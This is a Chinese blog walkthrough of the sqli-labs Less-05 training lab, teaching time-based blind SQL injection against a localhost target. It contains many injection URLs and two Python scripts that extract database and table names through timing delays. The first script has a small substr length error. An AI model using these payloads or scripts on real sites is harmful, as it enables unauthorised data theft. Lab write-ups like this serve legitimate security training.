sqli-labs Less-05 通关笔记

blog 268

0x01 判断注入类型

进入靶场传入id值

http://localhost/sql/Less-5/?id=1a  回显正常
​
http://localhost/sql/Less-5/?id=-1 回显错误
​
http://localhost/sql/Less-5/?id=-1' 报错

根据传入的值判断。页面存在报错注入和布尔注入。则不存在union注入。因为页面并没有数据的回显。而只有真与假的页面和报错回显。

本关我们主要介绍基于时间盲注的注入

http://localhost/sql/Less-5/?id=1' --+ 回显正常
http://localhost/sql/Less-5/?id=-1' --+ 回显错误

综合上述可以判断,当前存在字符串型的时间盲注和报错注入

0x02 时间盲注函数讲解

  • sleep() 即 睡眠时间
mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
|        0 |
+----------+
1 row in set (2.00 sec)

以上语句我们让结果延迟两秒后返回给我们。而实际渗透测试过程中随着网络的波动。时间可能略慢一滴滴。

  • Benchmark(count,expr) 用于测试函数的性能
mysql> select benchmark(10000000,MD5(1));
+----------------------------+
| benchmark(10000000,MD5(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (5.68 sec)

参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入。

通过上述结果我们可以发现延时了5秒

0x03 获取数据库名长度

http://localhost/sql/Less-5/?id=1' and if(length((select database())) > 5,sleep(2),0) --+  有延时
​
http://localhost/sql/Less-5/?id=1' and if(length((select database())) > 8,sleep(2),0) --+  无延时
​
http://localhost/sql/Less-5/?id=1' and if(length((select database())) > 7,sleep(2),0) --+  有延时
​
http://localhost/sql/Less-5/?id=1' and if(length((select database())) > 7,sleep(2),0) --+  有延时

通过上述结果,我们可以得知当前使用的数据库名长度为8位

0x04 获取数据库名称

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),1,1)) > 100,sleep(1),0)--+  有延时
​
http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),1,1)) > 110,sleep(1),0)--+  有延时
​
http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),1,1)) > 115,sleep(1),0)--+  无延时
​
http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),1,1)) > 114,sleep(1),0)--+  有延时
​
http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),1,1)) = 115,sleep(1),0)--+  有延时

直接上脚本

import requests
import time
​
length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2
    while start < end:
        startTime = time.time()
        url = "http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select database()),{},2)) > {},sleep(1),0)--+".format(length,tmp)
        r = requests.get(url)
        if  time.time() - startTime> 1:
            start = tmp + 1
            tmp = (start + end) // 2
        else:
            end = tmp
            tmp = (start + end) // 2
    database += chr(tmp)
    length += 1
    if length == 9:
        print('当前的数据库名为: ' + database)
        break

脚本运行结果

sqli-labs Less-05 通关笔记

0x04 获取当前数据库所有表名长度

http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) > 20,sleep(2),0) --+   有延时

http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) > 25,sleep(2),0) --+  有延时

http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) > 30,sleep(2),0) --+  无延时

http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) > 28,sleep(2),0) --+  有延时

http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) > 29,sleep(2),0) --+  无延时


http://localhost/sql/Less-5/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())) = 29,sleep(2),0) --+  有延时

database() 即表示当前使用的数据库 security

通过结果可以发现。当前数据库所有表名的长度为29

0x05 获取当前数据库的所有表名

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) > 100,sleep(1),0) --+  有延时

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) > 110,sleep(1),0) --+  无延时

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) > 105,sleep(1),0) --+ 无延时

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) > 103,sleep(1),0) --+ 无延时

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) > 101,sleep(1),0) --+ 无延时

http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 101,sleep(1),0) --+ 有延时

通过上述结果,我们可以发现当前数据库下即security的第一个表的第一个字母对应的ASCIII码为101。其对应字符为e

mysql> select char(101);
+-----------+
| char(101) |
+-----------+
| e         |
+-----------+
1 row in set (0.00 sec)

直接上脚本

import requests
import time

length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2
    while start < end:
        startTime = time.time()
        url = "http://localhost/sql/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {},sleep(1),0) --+".format(length,tmp)
        r = requests.get(url)
        if  time.time() - startTime> 1:
            start = tmp + 1
            tmp = (start + end) // 2
        else:
            end = tmp
            tmp = (start + end) // 2
    database += chr(tmp)
    length += 1
    if length == 30:
        print('当前数据库下的数据表: : ' + database)
        break

脚本运行结果:

sqli-labs Less-05 通关笔记

PS:这里要注意。由于是时间盲注。脚本运行时间可能较长。需要耐心等待。

获取列名和获取数据。与上关基本一致。这里不再演示。

分享